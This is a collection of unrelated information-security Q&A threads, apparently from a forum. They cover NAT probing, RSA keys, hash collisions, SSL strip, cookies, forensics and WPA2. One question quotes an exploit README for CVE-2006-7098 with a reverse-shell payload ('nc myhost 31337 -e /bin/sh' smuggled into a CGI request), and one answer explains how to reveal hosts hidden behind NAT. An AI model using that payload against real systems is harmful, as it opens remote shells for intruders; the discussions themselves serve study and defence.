How can I obtain the internal IP of a computer behind NAT but reachable via certain TCP port? I want to obtain internal IP of a remote computer behind a NAT that I can reach by using some port, say myhost.farfar.away port 11122TCP:

C:\>telnet myhost.farfar.away 11122
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2

As you see, there is a SSH server on it, but I don't have connections user data.

If I try to trace the route (fake IPs, of course):

C:\>tracert -d myhost.farfar.away

Trace route to address myhost.farfar.away [103.56.5.30]
maximum 30 hops:

  1    <1 ms    <1 ms    <1 ms  192.168.11.1
  2    <1 ms    <1 ms    <1 ms  192.168.10.1
  3    47 ms    47 ms    47 ms  80.58.67.85
  4    81 ms    86 ms    80 ms  103.56.5.30

Trace route complete.

I know that myhost.farfar.away has IP 103.56.5.30, but is it possible to keep hoping through this NAT, now that I know 11122TCP port is redirected to this machine, in order to obtain its internal IP (bypassing the NAT)?

NOTE: I know its internal IP is 172.26.5.5, so theorically I would like to reach something like:

  3    47 ms    47 ms    47 ms  80.58.67.85
  4    81 ms    86 ms    80 ms  103.56.5.30
  5   101 ms    106 ms  100 ms  172.26.5.5

Same results for netstat, of course.

I have tested tcpdump, but I think it can only give info about connections entering into my computer, so executing this line on the remote machine would do the trick:

tcpdump -i any port 11122

But can it be done on the local "scanning" computer?  I can use both Windows or Linux.

I must disagree with @vahid.  If there are multiple hops between the NAT and the host to which the connection is being port-forwarded, you may actually be able to elicit an ICMP TIMEX message.

As you may know, every IPv4 packet has a 1 byte TTL field.  If you determine the distance to the NAT (say 10 hops) and the actual concealed host is actually 12 hops (or more) away, you could send a SYN to the port-forwarded port on the NAT with a TTL value of 11.  If it is simply rewriting the address (rather than acting as a reverse proxy) then the TTL will be unmolested.  This means that the TTL when leaving the NAT headed inbound will be 1.  The next router will decrement to zero, causing an ICMP Time To Live Exceeded (TIMEX) message back to the sender.

Even though the outbound packet will be NATted, every ICMP error message (of which this is one) will contain the embedded protocol header within it.  What this means is that the original de-NATted destination host will now be visible in the ICMP payload as an embedded IP header being returned in the error.

While it is certainly true that this technique has some very specific requirements to be successful (ICMP permitted outbound, the actual port-forwarded host not on the local LAN of the NAT, etc.) it will certainly work, meaning that this is -not- impossible by any means.


Validating a RSA public key A a total noob to cryptography.

Situation: Given only the public_key i need to know if it is valid; in that, if i use it to encrypt say a form submission, the form data will actually be encrypted.

What am interested in finding out and need help with is:

Python tool/library and how it maybe used to validate the said public key

Update:
so thoughts i have on this is that i can:

check that the PEM string (public key) can be base64-decoded without errors
Also that the key can be openssl parsed into an RSA structure, i.e. check that it contains a modulus and exponent.

Would this be a good enough check to validate the RSA public key string?

The short answer is no, but you're probably asking the wrong question.

There are sanity checks you can make on data that represents an RSA public key, but they don't validate that the public key “actually encrypts”. They validate that the data represents a mathematical object for which the RSA calculations will work (e.g. won't cause a division by zero or an infinite loop).

  if i use it to encrypt say a form submission, the form data will actually be encrypted.

If you mean that the form content should be encrypted in transit and that the server should be able to see the plaintext, this doesn't involve RSA at all. Check whether the HTTPS protocol is used for the form submission. The page that displays the form should be HTTPS as well, as well as any other page where you access the site while logged in with the same account. With HTTPS, the contents are encrypted and protected against a man-in-the-middle.

If you mean that the server shouldn't be able to decrypt what you send, why are you sending that data in the first place? But ok, let's assume that you want to send encrypted data to a server, and that the server shouldn't be able to decrypt it.

If you've used RSA correctly, then the only entity that can decrypt the data is whoever has the private key. It's impossible to tell, by looking only at the public key, who has access to the private key.

If you have the private key and you generated the public key from the private key, you don't need to do any validation on the public key. You know it's valid because you obtained it by a correct procedure.

If you don't have the private key and someone gave you the public key, you have to trust them to keep the corresponding private key safe. You can't tell by looking at the public key.

So no, there's no check on the public key that will tell whether your data is securely encrypted. You need to review your whole system architecture.


What is the point of Microsofts 30 day security update waiting period If you want to update your security info (such as a password). You need to verify your ID with your phone or another email. If you don't have any connected to you account (or forgot them), you can add them. After doing this you need to wait 30 days for verification and you can not change your password (and other security settings).[1]

If a hacker or someone has your password, you need to wait 30 days. Before you can change it. Giving the hacker free access for 30 days.

Why would a company still choose to make you wait 30 days?

The 30-day waiting period helps Microsoft stop unauthorized people from trying to completely take over an account that isn't theirs. For example, an unauthorized person obtaining an account password through phishing or shared passwords across third party platforms. This waiting period gives the real account owner enough time to be alerted of any major changes and to cancel it if they didn't make those changes.
During this 30-day period, you'll still be able to access most Microsoft services. You won't, however, be able to do things that require a security code, like changing your password, viewing billing information, or buying new apps or games from Microsoft Store or on Xbox.
After the process of resetting your security information has started, you must wait the full 30 days for it to complete. However, if you regain access to a piece of your original security info, you can cancel the replacement yourself.

Source: Official Microsoft Source


Digital signatures and weak hash functions There was this question in last year's exam. The teacher claims that answer b) (in boldface below) is correct.

  Attacks are constantly being performed on digital signatures which use weak hash functions (e.g. MD5).

  When an exploit of a hash algorithm is found,...:

  a) all the signed documents are equally exposed.

  b) the newly signed documents are more exposed.

  c) the older documents are more exposed.

  d) the older documents are a little more exposed.

Upon reading the question I first would have went with answer a), since I don't know what time has to do with a vulnerability in a hash function. But then I thought maybe it has something to do with the expiration date of the involved certificates (and public keys).

Is this why b) is, supposedly, the correct answer? If not, then why would b) be correct?

The question was asked strictly in terms of the cryptography involved.

B) is in fact the correct answer, at least for the kinds of attack found against MD5 and SHA1. Those hashes are vulnerable to a collision attack, which means an attacker can reasonably find two things that hash to the same value. If he gets the victim to sign one, he can then just use that same signature on the other. However, he can't necessarily find another plaintext that hashes to the same thing as a given plaintext -- he must control both plaintexts to exploit this, meaning it doesn't let him attack a signature made before the attack was discovered. The "newer documents" are newer than the attack, meaning they might not be legitimately signed.

Note - this only works if you can still trust the timestamp; if the only indicator of time of signature is in the signed document itself, it could be a fake timestamp.  But as a signer, you don't need to worry about old signatures, just newer ones (so transition to a better hash in the future, but don't worry so much about the past).


Out of band verification using phone; a fallacy? More and more websites nowadays require new users to verify their 'identity' by requesting the user prove that he/she has access to a device identified by a telephone number (typically a phone).

The often cited reason for this is the rather non-specific: "to protect your account".

I agree that, in case the user is otherwise exclusively using desktop/laptop computers to interact with the service, using a phone as an out-of-band verification of 'something you have' could effectively been seen as two-factor authentication.

However... over 50% of all online access is now done using mobile devices, such as smartphones.

Does the use of a mobile device, to prove that the user has access to said device, undermine the implied added security?

Phone/SMS verification works, it just solves a different problem than loss of your phone.

Phone verification prevents against an attacker impersonating a user by logging in as them from some random network device using their username and password. For example, if a user's password is exposed because they reuse the same email and password on multiple sites, an attacker with that information won't be able to complete a login due to not having your phone. Even in the terrible situation of the site storing passwords insecurely and losing its password database to an attacker, phone verification will prevent unauthorized authentication.

Phone verification does not prevent against the physical loss of your phone or an attacker installing privileged software on your phone. For that, phone encryption with a strong password, locking your phone, only installing trusted software, etc... is required.

Edit: Interesting article about how losing control of PC can lead to 2FA bypass. Publication: How Anywhere Computing Just Killed Your
Phone-Based Two-Factor Authentication.


Is a pure-JS raw RSA implementation secure for transferring information? Assuming I have the RSA forge (javascript) library, does the pure-RSA implementation work for information transferring? I know that the forge library has the keysystem and everything, but I want to know if this standalone RSA implementation is secure.

It should be secure if used correctly, however, using raw RSA correctly is a difficult task. Because it is easy to make a critical mistake, using low level primitives is discouraged and considered bad practice. You should get a high level library with simple API if possible.

If you can't, make sure you read up on RSA padding and all the peculiarities of RSA, such as it being dangerous to encrypt the same message with many RSA public keys.


Protecting against SSL Strip I've read you can attack connections using tools like sslstrip, if you are on the same network. So what ensures that our SSL connections remain safe?

Does it depend on the cert strength?
Do you have to have control of the router? (like using a pineapple
mark IV)

To defend against SSL Strip:

Use SSL sitewide.  In other words, use only HTTPS, not HTTP.
Use HSTS (Strict Transport Security).  This will tell browsers to only connect via HTTPS, and never via HTTP.

If you use those two protections, you will be safe against SSL Strip.  Search on this site to find a lot more information about how to go about enabling those protections on your site properly.


Trojan name I can't find any information about I decided to take an online virus scan using ESET online scanner, after getting some weird crash that made my drivers and other parts of the operating system unusable...

The preliminary results say "PHP/Small.NAL trojan", but I cannot find any real information about what it actually is.

What is NAL? What kind of trojan is it? Is it very bad?

The usual naming of malware is [targeted platform]/[name].[variant]

The variants of a malware are numbered alphabetically. When your AV software vendor already uses three letters to describe the variants it means that there are a lot of different variants of this particular malware in the wild.

You might find more useful information about this malware when you just search for the family PHP/Small.

However, the prefix PHP hints that it targets PHP, a server-sided web development language. When you don't have a webserver installed on your machine, it is likely a false positive.


What's the difference between OVAL definitions, objects, and tests? I'm trying to become more familiar with OVAL tst def and obj references in joval xml definition files.

For example, I'll see stuff like:

<criterion comment="Foo" test_ref="oval:org.mitre.oval:tst:123" />

And then other areas will have stuff like:

<definition id="oval:org.mitre.oval:def:1234" version="3" class="inventory">

and then other stuff like:

<modified comment="EDITED obal:org.mitre.oval:obj:543 - Foo blah blah blah" date=2011-01-01T 13:13:13.123-04:00">

What's the difference between these three types of data?  What is an object?  What is a definition?  What is a test?

I am not an expert in OVAL, but here is my thoughts.

Generator is just a metadata. I have a product_name, schema_version and timestamp blocks in it.

Definitions is something like a book cover. In definition (i use one definition per file) you want to specify class of checking (like "vulnerability", for example) title of this vulnerability, description, reference for it (i use URL to cve.mitre.org), affected software family (like "windows") and affected products (like "Visual Studio Code").

Inside definition block there is a "Criteria" block. Here you write a condition which returns "true" (criterion - it is a reference to some test in your file which checks for  this vulnerability).

Then you write Tests block. Test must contain object and state. When you run your XML through Ovaldi, this test will check if object is in specified state. For example - you get object "version" from Windows Registry and check its state ("is it equal to 8.1?") If there is an object and it is in specified state - test will return true.

Objects and states are described in blocks objects and states AFTER block tests. You always have to write those blocks in right order: Generator, Definitions, Tests, Objects, States, Variables (here you can find the diagrams for it).

Yes, there is a Variables block. I don't really know much about it but it seems like community uses them mostly for lists of versions: github repository, example with regular expressions.


What cookie should have Http-only tag I am checking the http-only tag of some webpages and I a have a doubt when I'm trying to check. For example in the following image:

There are some cookies with the http-only flag active but I don't know if these cookies contain tokens or important information. How can I know that? thanks.

You usually don't know what is in the cookie, as its information is to be only used by the server. Some servers encrypt the cookie to protect its contents and to prevent the user from changing it.

Now, for the HttpOnly flag.

It was something "invented" by Microsoft on IE6. It's an extra flag intented for the browser to not allow client-side scripts to access the cookie. If the flag is not set, document.cookies will return its contents and a XSS exploit can compromise the user cookies. With the flag set, browser will not allow any client-side scripts to read its contents, and will only send its contents to the webserver.

If the cookie data is useful for the client (like the language, or sorting preferences, or any client side preference), don't set HttpOnly flag. If the data is used only on the server side (like PHPSESSID, ASPSESSION or anything the client side does not use), set HttpOnly and make harder to a XSS exploit to steal the cookies.


What is your experience with AlertLogic? Do you have any insight, or experience (good or bad) regarding AlertLogic?

In what areas can they improve, what areas are they lagging in?

I work for a company that is partnered with AlertLogic. My experience so far has been mixed. I think they have a really solid product that can provide a real security benefit to their customers.

My negative experience has to do with an installation for a client of ours. They required some information from us so that they could configure the devices before hand and ship them out, ready to be installed. One of the devices still had its default configuration and wasn't setup for the network. The process of dealing with them and trying to get things figured out took a lot longer than it should have. They were also apprehensive about giving us access to the devices ourselves. Once we had access, however, we were able to figure out the problem in a matter of minutes.

They are still a relatively new company and I'm customer service situations like the one I had will improve.


Wordpress Backups and Security Apart from all the other security and design flaws of Wordpress, there is 1 point that particularly got my attention: "Automatic Backups".

These are saved inside the Wordpress directory. If you ask me, this seems wrong. Cant a hacker download these files or deploy a tool such as HTTrack? Then they would have enough time to get their hands on sensitive information.

As far as im aware, Wordpress doesnt store Database Backups as statements inside PHP files but .SQL, .Zip or some other format.

So my question: arent wordpress automatic backups easy targets for hackers?

You would presume the location where wordpress stores it's backups is either outside the locations served/accessible by the web server or that additional access controls are in place preventing access. Otherwise you're correct it is a really bad idea, that's made worse if the file names can be predicted easily.


When can the exploit for CVE: 2006-7098 be used? I'm studying the vulnerabilities of an old version of Apache, the 1.3.34. And I don't quite understand in what exact situation the CVE 2006-7098 vulnerability can be exploited. The README included in the exploit states that:

  Local attacker can influence Apache to direct commands
      into an open tty owned by user who started apache process, usually root.
      This results in arbitrary command execution. Notes: Must have CGI execution privileges and service started manually by root via shell.

  Usage: nc -vvv -l -p 31337
      http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d

At the beginning I understood that the vulnerability could be exploited from another machine in the same network of the vulnerable server. So from this other machine (attacker) I:

compiled the cgipwn exploit and installed it in the cgi-bin of the
attacker machine apache.
executed the nc command from the attacker machine specifying -p as the port where the attacker apache listens to, webserver as the attacker machine IP and myhost as the server with the vulnerability.

But I've not succeeded: the command just doesn't return anything.

So, after rereading the exploit info several times, I've certain doubts about the phrase local attacker: does it mean that the vulnerability can only be exploited from the same machine where the vulnerable Apache is running? In that case I understand that the attacker should have a priori the credentials of a valid user in the machine with permissions to manage the apache (which would reduce quite a lot the applicability of the attack).

Could any body shed some light on this?

"Local attacker" means local to the machine. The official CVE states "local users" which is even more specific. Futhermore, this looks like a Debian-only (perhaps systems build on Debian as well) issue. It also looks like this problem was the result of applying a patch to Apache. So you'll need the right version of Apache as well.

Of course, the right solution is to use a supported version of Apache and apply all security patches promptly.


Are virus signatures different between antiviruses? Are virus signatures different between antiviruses?

For example, can a virus signature in Kaspersky differ from the signature associated to the same virus in Avast?

Yes, signatures vary as they are developed by the antivirus vendors independently of one another. One vendor's product may catch malware that another misses, or get a false positive that another would not find.

You may end up with multiple vendors having identical signatures for the same piece of malware because of malware's traits have few, or one signature options, but they are arrived at independently.


What is the security measure that prevents me from posting using script and I must use browser to execute HTTP POSTs successfully I'm using python to log into kijiji.ca with cookies enabled. The login is successful and passes (verified). I then use python to post an ad, however the ad posting keeps failing and redirects me to the login page (as if my username and password is wrong)
What is preventing me from posting properly? I've made sure form values are filled out properly in my posting.
Is there some security measure that prevents me from posting using my python script and I must go through the browser?

Typically such failures are caused by

Bugs in your program.
The site requiring Javascript which your python program probably does not handle.
Or the detection of non-browser user-agents on the site.

The most common cases are probably 1. and 2. (which are unrelated to information security) while 3. might be employed by sites which explicitly forbid automatic submissions or have special API's for this in place.


3rd party requires my server's public key for a secure connection? I'm trying to integrate with a 3rd party service and they have requested our server's public key. I've sent it to them and they said they have configured it on their end. In order for me to make requests to them, they claim I must include the certificate with the request.

How exactly does this scheme work? I don't see how a Diffie-Hellman exchange can work in this case. Any scheme I think of can easily be broken in the case of a MITM. We have no way of generating the secret and sending it to them securely like a standard handshake. But if they generate the secret, how can they send it back and prove it was them who generated it?

I am using cURL so I assume they want me to make the request with the --cert flag (includes public and private key).

  --cert tells curl to use the specified client certificate file when getting a file with HTTPS, FTPS or another SSL-based protocol. The
  certificate must be in PKCS#12 format if using Secure Transport, or
  PEM format if using any other engine. If the optional password isn't
  specified, it will be queried for on the terminal. Note that this
  option assumes a "certificate" file that is the private key and the
  client certificate concatenated.

This is TLS Mutual Authentication.

It is a proven and well-documented part of TLS and happens during handshake.

Nothing unusual is happening and the handshake is specified to fail if you do not supply the client certificate.

MitM is definitely still a concern, but that is mitigated for you as a client by CA trust and signing (or certificate pinning) on your side and by similar CA trust (or client certificate pinning) on the server side.  Someone supplying a forged certificate from a MitM position will need to be CA signed or to social engineer one side or the other into pinning their malicious certs.

IMPORTANT: you MUST provide the client cert (if not CA signed) in a secure manner to the server operator.  In-band key exchange is certainly not up to this task.  One option is to publish the cert on a secured HTTPS endpoint for a domain you own from which the server operator can download the cert with confidence that it is from you and hasn't been tampered with in transit.  This has its flaws (incompetent CAs, server compromise, etc.), but it should be sufficient for most cases.

There's a good description of the process here:
http://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication


Does an admin need legitimaly to access his own logs generated by auditd? In my understanding, admins need to access logs of the servers, workstations, services and applications they manage, either for administration or debugging purposes, never to logs generated by auditd from their own activities. Another admin or the SOC can. I am considering here corporate policy and the threat of an admin account stolen where I want to prevent an attacker to see or erase his traces, or malevolence by the admin himself.

Is it correct? If not, what is recommended? To extend a little more the question, how shall be managed access to centralized logs when forensic or legal access is required, local and monitored accounts?

There is no reason not to allow Read access to his logs. He may be able to notice and handle breach of his own account or just chceck what he did if he forgets/mistypes.

They should NOT have write access to any logs. Especially if you want to be able to do forensics on the logs, the logs should not be tampered with.


Is it necessary to encrypt messages client side if using HTTPS? I am creating a messaging service for an app I'm developing and right now the data flow is as follows:

Send:

message sent to server => message encrypted based on user's public key and signed using secret key => encrypted message saved to database

Receive:

server receives message from database => server verifies signature using public key and decrypts message using secret key => decrypted message sent to client

All the encryption/decryption on the server is dependent upon the user's JWT token being authenticated.

I have two main questions:

Is it okay to encrypt on the server since the communication between it and the client is using TLS?
Should the keys be stored on the server or in the database?

Not sure I undertand exactly how the set up is supposed to work, but the key part here is that all encryption keys seem to reside at the server. That means:

HTTPS (if done right) is enough to protect the messages in transit. If that is your only goal, your setup is fine.
If you want to protect messages at rest on the server, having the key somewhere on the server is a problem. There are different ways of dealing with that. Just storing encryption keys in the database next to the data they are supposed to protect is generally not a good idea. See this answer for alternatives.
This set up doesn't protect users against you. As the operator of the service, you could easily read messages since you sit on all the encryption keys. If that is a problem, you need to implement end-to-end encryption.


Conflicting security messages about "chrome://settings" page; is it secure or not? Accessing the chrome://settings page, I see two things contradicting each other:

The ribbon below the address bar shows "You're viewing a secure Chromium Page."
On the other hand, the security overview under the security tab in Chromium developer tools says "This Page is not secure".

Does anyone have any idea what's going on here?

Why these two conflicting messages ? Any vulnerability here?
Is the chrome://settings page really secure?
If not secure, does it impact the browser or anything like that?
What could be possible resolution?

EDIT : I want to clarify that my question is Why these two conflicting security messages ? and only after then the security stuff that is well answered by question that everybody just seems to mark this question a duplicate of :

How do browsers make sure their settings page is secure ?

So, please consider answering question 1 in the OP and then follow the rest.

If you still think the question is a duplicate, please read the answers below first and then compare it with answers given to the questions for which you think this question is a possible duplicate of.

Thanks.

Yes, your settings page is secure. What you're seeing is just an inconsistency on Chrome's side.

In the devtools, only valid HTTPS connections are labeled "secure". Other documents, including local files and settings pages, are shown as "not secure", even if they don't ever go through a network. The notion of a "secure connection" just doesn't apply to local resources. (A settings page is local, too.)

Why? Because the label is based on a site's SecurityState which is set to "neutral" for plain HTTP sites, local files and settings pages alike. And a "neutral" security state is verbalized as "not secure":

const summaryExplanationStrings = {
  'unknown': Common.UIString('The security of this page is unknown.'),
  'insecure': Common.UIString('This page is not secure (broken HTTPS).'),
  'neutral': Common.UIString('This page is not secure.'),
  'secure': Common.UIString('This page is secure (valid HTTPS).')
};

(Source)

In the address bar, however, Chrome has a special label for viewing an internal page:

<message name="IDS_PAGE_INFO_INTERNAL_PAGE" desc="Message to display in the page
 info bubble when the page you are on is a chrome:// page or about:something.">
    You are viewing a secure Google Chrome page.
</message>

(Source)

Hence, the texts differ. Ultimately, the security indicators in the address bar should be your preferred means of verification. In other places, such as the devtools, the UI may be not as clear.


What are the options for acquiring disk image from a Linux computer that can't be removed from a crime scene? If the suspect's computer is Linux, can you directly use tools such as dd or dcfldd on his computer to acquire the disk image? Or do you need to use forensic live cds like Helix, Penguin sleuth or FFCU on top of the existing OS?

Simply turning on the machine can already alter/destroy data that can be potential evidence, let alone booting its original OS.

The best solution is to remove the hard drive, connect it to another computer through a hardware write blocker and then grab a complete image of it with dd or some equivalent. The write blocker is necessary to prevent accidental write to the device that may alter potential evidence (although a basic Linux installation that doesn't mount drives automatically won't do any writes by itself, Mac OS and Windows will definitely do).

If that's not possibly then you need to go with the forensics Live-CD route, but since it involves booting the computer you may already trigger some firmware-embedded code designed to alter/destroy potential evidence (hard but not impossible to do, it depends on what kind of criminal you're after).

Note that in the end, it doesn't matter what OS was installed on the computer since you shouldn't boot that OS anyway, and a bit-by-bit copy doesn't care about the data or even the filesystem that's on the drive (you can copy encrypted drives, but that won't help you much if you don't have the key since the copy is still encrypted).


What is the specific basis that allows an entity to connect a cert chain to a trusted root? Let's say I want to validate an entity that presents an X509v3 certificate, "Leaf".  Leaf is a cert signed by SigningCA.  SigningCA's cert, "SigningCert", was signed by RootCA.  RootCA's cert, "RootCert" is in my system's trust store.

I pull Leaf and see that it is signed by SigningCA.  Specifically, the linkage is that in the "Authority Information Access" section of Leaf, 'CA Issuers' contains a URL that I can follow to pull down SigningCA's cert, SigningCert. So I go and pull that down and do validation. All is good.
But now I want to check that SigningCA is legit. It has it's own CA Issuers field pointing me to the cert of RootCA, RootCert.

Now my question: to validate, do I need to pull this URL, or is it sufficient that RootCert is in my trust store and has some property that allows for quick comparison against what I have already?

It seems (from some experimentation with browsers) that pulling the RootCert is not required, which makes me think that they are comparing some field in SigningCert to something present in all the certs in the trust store and reporting success if a match is found. If so, what is that thing?

It seems (from some experimentation with browsers) that pulling the RootCert is not required

The idea is that you ultimately (i.e. root) trust only a CA already known to be good (i.e. in the local trust store) and not just blindly trust any arbitrary CA certificate downloaded from the internet. Thus, pulling the root certificate from the internet is not only "not required" but it would be the wrong thing to do.

The process of determining which root CA is the correct one is essentially the same as with an intermediate CA certificate: make sure issuer CN and Authority Key Identifier (if exists) match and validate the signature. The important difference compared to an intermediate CA is that the root CA will be used as the ultimate trust anchor and therefore must be trusted already -  which is not the case for something blindly downloaded from somewhere or given by the (not yet trusted) communication peer.

For more details on how certificate validation is done see SSL Certificate framework 101: How does the browser actually verify the validity of a given server certificate?.


How to prevent users from downloading information from our search engine? We have developed a search engine (simple search, no login required) where users can search details in the database (Apache Lucene) by entering their name (et. al.), then clicking the search button. The search invokes a asynchronous HTTP GET request (an AJAX call on the same domain) to the server which in turn calls the search engine. The response is a JSON object.

I have disabled the "Allow cross origin access" policy on the server. It seems that an attacker is continuously hitting the search server programmatically to download the data. We know this because the number of hits on the search server is much larger than the one shown by Google Analytics for the index page.

Other developers have suggested the following:

Create a session for the search.
Put captcha on the index page and verify it on the server.
They suggest that someone can still programmatically make GET requests with parameters and hence perform a search, explained by the huge difference between page visits and visits to the index page.

This confuses me:

Whether captcha is really required for an application which only fetches information, apart from making the usability worse?
If I have disabled "cross origin access", how can someone programmatically invoke calls to the server?

Are there better ways to approach this (especially captcha)?

If the user invokes over x amount of queries per x amount of time which seems impossible via a human then you'll want to generate a captcha to prevent bots.

If the user invokes a silly amount of requests just ban his/her IP for x amount of time as it's clear they are using some form of botting.

You could generate a key everytime the user searches (This will prevent basics bots but is by-passable by complexed bots as they will read the key and throw into parameters). If they are missing the key then display an error.

So, let's pretend you have Default.aspx and Search.aspx would set the key set in form data as hidden field. So, default will direct you to Search.aspx with a key. If you go directly to Search.aspx you won't have key so you can't search. Once you hit "Search" button it will pass it to server and you'll just validate that key.
So have hidden field such as:

<input id="hifKey" type="hidden" runat="server" value="{getfromserver}" />

This key would be only validate for one search, after validated and used generate a new key.

This would prevent basics bots but do bare in mind it's still bypassable as all you need to do is create a .NET application and use HttpWebRequest and read out the HttpWebResponse data to Default.aspx then to get a key then do search on Search.aspx and keep reading next key from <input id="hifKey" type="hidden" runat="server" value="{getfromserver}" />


Can a antivirus software detect a malware that steals data? For example, consider a software that wants to package all txt files in the /user/Desktop directory and upload them to its own server. I am not a programmer, but I know it can be done very easily with code. Maybe this can be done with a single line of code. Even a lot of well-known software can do this. Pdf viewer, media player etc.
It wouldn't crash or slow down the PC, only scan txt files on Desktop and upload to its own servers. For example I have seen a lot of program that request outbound internet connection on my Firewall Software, and these programs are well-known programs used by millions of people.
I'm guessing antivirus solutions don't block these processes. Is this a valid concern for ordinary PC users? Many users don't know or understand firewalls.
Is there something I missed? Maybe I'm wrong and Antivirus or Windows OS can detect and block this easily.
Note: I don't want suggestions such as use Linux or Open Source programs. I am not researching how to avoid this.
I just wonder if this process could be that easy?

Can antivirus software detect malware that steals data?

Your question basically boils down to "If x operation is performed can a computer determine if its malicious or not"
The answer is well sometimes it can.
How would computers go on about doing that?

Well for starters computers can go and check if such a file has been earlier seen and if it was classified as malicious or not and to what degree was it classified malicious by seeing what operation it performs and determining should the program really be doing that.
Defeating such a system shouldn't be that hard.
But if we really think about it after the code has been executed it pretty much can do anything like check if it's running in a virtual environment, spawn a different process and copy its code there, inject into another process, download another exe, or dll and then execute the functions in them.
So in short determining, if a file upload function is malicious or not is almost impossible for computers and extremely tough for humans taking into account the headache malware writer went into obfuscating his actions.


Is it possible to set up a second router with the same SSID to get the password? Suppose we have an WLAN which is secured with WPA2. Its SSID is easybell123.

Could an attacker who wants to get the password of easybell123

create a WLAN with the same SSID in the same area
wait for people (automatically) logging in to the attackers WLAN
record the password which was used and store it
and later log in into easybell123?

I guess the answer is "No". Please explain why.

No, unlike HTTP Basic authentication, the password isn't sent in cleartext (or obfuscated) form across the air.

The weakest form of WiFi security is WEP. Don't use it, it can be cracked, but not in the way you describe.

The password is used to create an encrypted tunnel as described here

http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy


Can a hotspot in Ubuntu validate wrong passwords also? I want to host a hotspot in Ubuntu. The hotspot should authenticate every client, whether he enters right password or wrong password. Actually, I want to validate four way handshake even if the password entered is wrong.

I am hosting the hotspot, can I configure WPA2 like that?

No you cannot. Ubuntu hotspot uses WPA2-PSK with a pre-shared key (not a password).

Pre in pre-shared means both parties must be supplied with the same key before connection takes place; both parties need to use the same key to be able to communicate with each other.

If "the password entered is wrong" (i.e. different than you know), it means you will not be able to decrypt the communication from the client.


Android phone number from disk image I'm trying to work out what the current phone number is for an Android device based solely off a disk image. I've looked in the mmssms.db and the contacts2.db but neither seem to store the details of the current phone number.

Is there a database or log file that would store this sort of information?

Its just a stock image. At the moment I have a YAFFS dd and logical image but I'm expecting EnCase and other image formats as well.

It's not guaranteed to be stored anywhere in the phone, since the SIM provides the phone number. However, some applications might log the phone number. No idea which ones might though, sorry.

At best, you could probably write a script to scan for phone numbers. Unfortunately, you have no idea how one might be stored, so you're really stuck with searching for ASCII and Unicode string representations of numbers that could be phone numbers. Even when you hit a possible number, you have no idea if it's the user's number or a contact's number, or if it's a false positive. It's not likely to be very accurate.


Record Header as part of Handshake messages on TCP/IP stack I knew that the format of the TLS handshake message is as below.

"Record header+Handshake layer header+ Handshake message"

Now i have confusion while analyzing the TLS handshake messages on TCP.
How the structure would look like from server in response to client hello.

Note:- Since TCP can handle segmentation i believe server hello,server crt ,server key exchange,server hello done can be handled can be received in segments and provide to tls.

There fore how does the raw date look like at the end of the all frames received till TCP ?

will be it be as below ?

Record header+Handshake layer header+Server hello +Record header+Handshake layer header+Server crt+Record header+Handshake layer header+server key exchange+Record header+Handshake layer header+server hello done

  or will it be omitting the record header ??

Record header+Handshake layer header+Server hello +Handshake layer header+Server crt+Handshake layer header+server key exchange+Handshake layer header+server hello done

This is implementation-dependent. The RFC says clearly that messages with the same content type MAY be put together into the same record but also that a single message might spread over multiple records. From RFC 5246 (TLS 1.2) section 6.2.1 Fragmentation:

  Client
     message boundaries are not preserved in the record layer (i.e.,
     multiple client messages of the same ContentType MAY be coalesced
     into a single TLSPlaintext record, or a single message MAY be
     fragmented across several records).


Storing database password in plain text? In the context of a web application, I will be providing the user the ability to provide a username and password for their MySQL database.

Right now, the username and password is generated randomly. These credentials (username, password) are show in plain text on the web application's Settings page. This seems perfectly acceptable for me, because, they are currently randomly generated.

However, as I'm now going to be allowing user provided passwords, I'm concerned that it might not be a good idea to show them in plain text.

Is there an industry standard that could relate to something I'm doing with user provided database passwords?

Should I not show the password in plain text, but only show a form to change the password only?

Yeah definitely never a good idea, in general, to show or store passwords in the open.  That said, there are such things as compensating controls.  I.E. physical securities to safeguard viewing of passwords, encryption channels for transporting passwords, as well as bolstered security around your database.  I don't know if there are any compensating controls for your particular situation because everyone mostly looks at passwords in clear text as a no-no, but you can take a look at the NIST standards.


Preventing boot from external media in case of theft of laptop or physical security breach in case of desktops? I wanted to protect my Laptop from common theft. What I did was that I installed an anti-theft software on my Ubuntu 14.04. The guest account is enabled so that the thief can use my laptop while I track him down. Then as a honey-pot, I installed Windows 8, set up a standard user account with no password and installed the anti-theft software on it too. Now I wan't to make sure that the thief won't reformat the drive. I set the boot order to boot from the internal SSD first, and locked the BIOS. But this is ineffective as my sony VAIO has a Assist button which can be pressed when powered off to boot to a menu from which I can boot from a USB. On other laptops too, you can choose to boot another external device by pressing the Escape key or the function keys. How can I remove this big loop hole?

I don't want to encrypt the laptop because it does not have any sensitive information, and I want the thief to use my stolen laptop. Also can I configure my laptop to not boot if the SSD is changed, preferably only with a password?

If it could be locked down, then it would be a big leap in physical security, especially for organisations. A disgruntled employee could boot with a thumb drive, get root privilege to modify any configuration or binary files.

One measure to seriously take into consideration with laptop theft protection is physical security. Your thief may not be tech savvy enough to avoid the traps you set, but he's got the unit in his hands already, and depending on what he wants to do with it he can always make a quick buck on the hardware alone.

In previous companies I've worked for they did have these anti-theft software mechanisms, but they almost never got our hardware retrieved when the unit was stolen from a vehicle or lifted at an airport. You should consider desk or bag locks for units like this, or simply keeping the unit with you at all times and training users to do the same thing. I've found in the past that having the unit on you in a sling bag was one of the best deterrents against laptop theft. Data backups before traveling with the unit are always a good idea too. It's a great idea to have anti-theft software in case something terrible happens, but I'd make plans for physical security a priority.


Level of isolation that Chromium's "Guest Browsing" provides? When using "add user" in guest browsing, what level of "isolation" does one get? If any?
That is, I can log into google or facebook etc multiple times so I assume that at least cookies are separated yes but are those pages, or say adverts, or even more potentially malicious pages able to see/track what happens on other guest/user "sessions" other ways?

According to the Google's docs here

  Differences between Guest mode and Incognito mode
  Both Guest mode and Incognito mode are temporary browsing modes, but there are some basic differences between them.
  Guest mode: A user in Guest mode does not leave any browsing history or cookies on the computer. In addition, they can't see or modify the computer owner's Chrome profile.
  Incognito mode: You don't leave browsing history and cookies on your computer, but you can still see your existing history, bookmarks, passwords, Autofill data, and other

For more information about what's stored in both modes, visit the Chrome Privacy Policy.

On the machine your data is separated across the two sessions but there are ways for websites, employers and ISPs to track you.

As the Google document says:

  Important: Neither Incognito mode nor Guest mode makes you invisible on the web. Websites you visit, your employer, or your service provider can still see your browsing activity.

